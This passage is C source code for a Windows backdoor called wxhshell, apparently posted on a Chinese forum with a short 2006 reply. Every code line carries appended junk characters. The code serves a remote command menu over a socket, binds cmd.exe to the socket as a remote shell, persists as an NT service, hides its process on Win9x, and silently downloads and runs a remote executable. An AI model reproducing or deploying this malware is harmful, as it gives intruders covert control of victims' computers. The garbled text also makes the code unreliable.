  else { 8^"|-~#<  
z Q|x>3   
    switch(cmd[0]) { cV!/  
  ]zMBZs  
  // 帮助 h }%M  
  case '?': { $XU$?_O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B?YfOSF=5  
    break; Dp6"I!L<|  
  } l'{goyf  
  // 安装 w>q_8V_K  
  case 'i': { 4a\+o]  
    if(Install()) ?QIQ,?.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !zJ67-G  
    else m}'@S+k^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v*]Xur6e}  
    break; jeBj   
    } |2&mvjk@H  
  // 卸载 r~Ubgd ]U  
  case 'r': { x w83K  
    if(Uninstall()) +4p ;4/=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C`_D{r  
    else ,Y5 4(>>%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z6AU%3]  
    break; &E '>+6  
    } MmX[xk  
  // 显示 wxhshell 所在路径 ^A<.s_  
  case 'p': { k 5r*?Os  
    char svExeFile[MAX_PATH]; u]-El}*[  
    strcpy(svExeFile,"\n\r"); F"#*8P  
      strcat(svExeFile,ExeFile); 1 'pQ,  
        send(wsh,svExeFile,strlen(svExeFile),0); z}N^`_ *  
    break; ZU@jtqq  
    } ;S27m]Q?  
  // 重启 {Om3fSk:  
  case 'b': { $/#)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M6Z`Pwv];  
    if(Boot(REBOOT)) ^B=z_0 *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :*%\i' $!/  
    else { rtOW-cz  
    closesocket(wsh); L`@&0Zk  
    ExitThread(0); 2m}]z.w#  
    } l>P~M50D?{  
    break; 2-2LmxLG  
    } vKLG9ovlY  
  // 关机 F qyJ*W\1  
  case 'd': { u}0t`w:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JkEQ@x  
    if(Boot(SHUTDOWN)) (P] ^5D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1L9 <1  
    else { Z{)|w=  
    closesocket(wsh); au~gJW-  
    ExitThread(0); d-&dA_ ?  
    } gz:c_HJ  
    break; k)_#u;qmG  
    } l%w|f`B:  
  // 获取shell U.)eJ1a  
  case 's': { uty]-k   
    CmdShell(wsh); goWt!,&f  
    closesocket(wsh); 5Z0x2 jV  
    ExitThread(0); %j`]x -aOz  
    break; sA j$U^Gp  
  } 8[XNFFUZs  
  // 退出 t/c^hTT  
  case 'x': { ]sIFK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O3^@"IY  
    CloseIt(wsh);  16{;24  
    break; 32J  
    } M QI=  
  // 离开 &$ 9bC 't6  
  case 'q': { eVJL|uI|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ON^u|*kO  
    closesocket(wsh); {GY$J<5=  
    WSACleanup(); w%"q=V  
    exit(1); }:A kpm  
    break; -UE-v  
        } #wcoLCjs)  
  } #6nA^K}  
  } q\G@Nn^  
tp0*W _<4  
  // 提示信息 83|/sWrvh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GR9F^Y)K{  
} =!2   
  } Q0A1N[  
Ei!z? sxzx  
  return; 6&cU*Io@  
} dWEx55>,1  
=^{+h>#s@  
// shell模块句柄 "^%Il  
int CmdShell(SOCKET sock) #YV;Gp(2h  
{ ekXHfA!i%  
STARTUPINFO si; nfU}ECun4  
ZeroMemory(&si,sizeof(si)); NH!! .Z"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uW|y8 BP $  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iWEYSi\)n  
PROCESS_INFORMATION ProcessInfo; jLU)S)  
char cmdline[]="cmd"; UbXz`i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  G%{jU'2  
  return 0; x3 <Lx^;  
} 2oRmro  
F ry5v?22  
// 自身启动模式 9lwg`UWl,  
int StartFromService(void) i+6/ g  
{ 4D5)<3N=d'  
typedef struct q^)(p' X  
{ j  jQ=  
  DWORD ExitStatus; p_D)=Ef|&  
  DWORD PebBaseAddress; _;9)^})$  
  DWORD AffinityMask; hi%>&i*  
  DWORD BasePriority; >jm9x1+C  
  ULONG UniqueProcessId; m"5gzH  
  ULONG InheritedFromUniqueProcessId; NoT oLt\  
}   PROCESS_BASIC_INFORMATION; j&r5oD;  
>2r/d  
PROCNTQSIP NtQueryInformationProcess; ^[6AOz+L  
aE}u5L$#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c|XnPqo;f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !!AutkEg>  
+|N"i~f>j  
  HANDLE             hProcess; ^"I!+Teb  
  PROCESS_BASIC_INFORMATION pbi; +Aq}BjD#  
\4 DH&gZ[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B7 T+a  
  if(NULL == hInst ) return 0; 3UEh%Ho  
 zcc]5>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4f+Ke*^[RA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wcO_;1_ H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -c. a7  
6b0#z#E  
  if (!NtQueryInformationProcess) return 0; .nnAI@7E  
L))(g][;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d+kIof,  
  if(!hProcess) return 0; A-kI_&g\Og  
N gr7E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iqpy5  
rTcH~s D`  
  CloseHandle(hProcess); 2Ig.hnHj  
uKplPze?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4IVCTz[  
if(hProcess==NULL) return 0; :%{8lanO  
DLVf7/=3~  
HMODULE hMod; Ha<(~qf  
char procName[255]; 3 ;&N3:,X  
unsigned long cbNeeded; JA&w"2X*E  
y3l sAe#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #R &F  
m$3&r2vgi  
  CloseHandle(hProcess); \ FA7 +Q  
Vki3D'.7N  
if(strstr(procName,"services")) return 1; // 以服务启动 <X:7$v6T|  
TMbj]Mso  
  return 0; // 注册表启动 z7}@8F  
} 75a3H`  
3.Y/ZWON  
// 主模块 ,>)/y  
int StartWxhshell(LPSTR lpCmdLine) zg|]Ic  
{ 1 #_R`(C{  
  SOCKET wsl; |[0|j/V%O  
BOOL val=TRUE; B>Mk "WjQ  
  int port=0; ,+0_kndR  
  struct sockaddr_in door; x.!%'{+ {  
v~j21`  
  if(wscfg.ws_autoins) Install(); Q\}5q3  
7JjTm^bu  
port=atoi(lpCmdLine); rTQrlQ:@  
!-[e$?-  
if(port<=0) port=wscfg.ws_port; (2 X`imJ  
Xfe,ZC)  
  WSADATA data; &GX pRo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E` BL3+kQ  
]wZG4A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Zp'|hx8o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2 g,UdG  
  door.sin_family = AF_INET; //xxSk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b8(94t|;U  
  door.sin_port = htons(port); dG\dGSZ\h  
?FJU>+{">  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~'n3],o?  
closesocket(wsl); S U04q+  
return 1; xwq {0jY  
} !A qSG-  
_3.=| @L  
  if(listen(wsl,2) == INVALID_SOCKET) { 7xqTTN6h  
closesocket(wsl); (X;D.s  
return 1; sSU p7V  
} KFx4"f%  
  Wxhshell(wsl); @-)jU!  
  WSACleanup(); ;.+sz(:hm  
B E!HM{-  
return 0; Dm2&}{&K  
[jU.58*  
} [_q3 02  
]y:2OP  
// 以NT服务方式启动 k "7l\;N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UU~S{!*+L  
{ rE)lt0mkv  
DWORD   status = 0; as6a)t.^  
  DWORD   specificError = 0xfffffff; `saDeur#X  
'W(!N%u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .'aW~WR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _HjS!(lMk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RDGefxv  
  serviceStatus.dwWin32ExitCode     = 0; CEzwI _  
  serviceStatus.dwServiceSpecificExitCode = 0; xvU@,bzz  
  serviceStatus.dwCheckPoint       = 0; <2{g[le  
  serviceStatus.dwWaitHint       = 0; 3 vr T`  
()%NotN;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e*K1";  
  if (hServiceStatusHandle==0) return; R<]f[  
{{N*/ E^  
status = GetLastError(); ,%Sf,h?"^  
  if (status!=NO_ERROR) l<X8Ooan#{  
{ NFsj ~6F#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q.I  
    serviceStatus.dwCheckPoint       = 0; mQwP-s  
    serviceStatus.dwWaitHint       = 0; PLoD^3uG)  
    serviceStatus.dwWin32ExitCode     = status; |%\>+/j$  
    serviceStatus.dwServiceSpecificExitCode = specificError; N #C,q&;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ (4$<><  
    return; 8p"R4  
  } ( &N`N1  
KF!?; q0J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3pU/Z bb,:  
  serviceStatus.dwCheckPoint       = 0; N./l\NtZ  
  serviceStatus.dwWaitHint       = 0; u?xXZ]_u-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ga,+  
} s\/$`fuhx  
S~GL_#a  
// 处理NT服务事件,比如:启动、停止 u /6b.hDO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7j,u&%om  
{ >oYr=O  
switch(fdwControl) (?y (0%q  
{ o!$O+%4  
case SERVICE_CONTROL_STOP: ;;f&aujSHD  
  serviceStatus.dwWin32ExitCode = 0; "fH"U1Bw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tMbracm  
  serviceStatus.dwCheckPoint   = 0; ?hfyQhR  
  serviceStatus.dwWaitHint     = 0; MqKf'6z  
  { LWX,u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T #OrsJdu  
  } lX)ZQY:=:  
  return; OK8|w]-A  
case SERVICE_CONTROL_PAUSE: Z4VNm1qs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VV'*3/I  
  break; "~+? xke5z  
case SERVICE_CONTROL_CONTINUE: J>w3>8!>7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JbR;E`8  
  break; P,RdY M06  
case SERVICE_CONTROL_INTERROGATE: F'Lav?^  
  break; P70]Ju  
}; hH.X_X?d%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A(2!.Y 2?*  
} 6C@W6DR3N  
?yNg5z  
// 标准应用程序主函数 HzdyfZ!jR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bk44 wz2 X  
{ Or:a\qQ1  
z Go*N,'  
// 获取操作系统版本 \""sf{S9  
OsIsNt=GetOsVer(); 8n'"RaLQ8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XLq%nVBM8\  
f#>ubmuI^  
  // 从命令行安装 HAca'!p  
  if(strpbrk(lpCmdLine,"iI")) Install(); }K3!ujvR  
ZvVrbj&  
  // 下载执行文件 Tm) (?y  
if(wscfg.ws_downexe) { 5JvrQGvL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >Y>>lE! k  
  WinExec(wscfg.ws_filenam,SW_HIDE); S`t@L}  
} ]>T4\?aC  
0Z,a3)jcc  
if(!OsIsNt) { ,z@"pI b  
// 如果时win9x,隐藏进程并且设置为注册表启动 NW%u#MZ[h  
HideProc(); _&U.DMt2 C  
StartWxhshell(lpCmdLine); &aLelJ~  
} 2leTEs5aK`  
else B\mRH V!  
  if(StartFromService()) _X/`7!f  
  // 以服务方式启动 Z8xKg  
  StartServiceCtrlDispatcher(DispatchTable);  HQ0fY  
else H4Lvw8G  
  // 普通方式启动 8p0ZIrD%  
  StartWxhshell(lpCmdLine); ?ypX``3#s7  
T=~D>2C  
return 0; ^$VH~i&  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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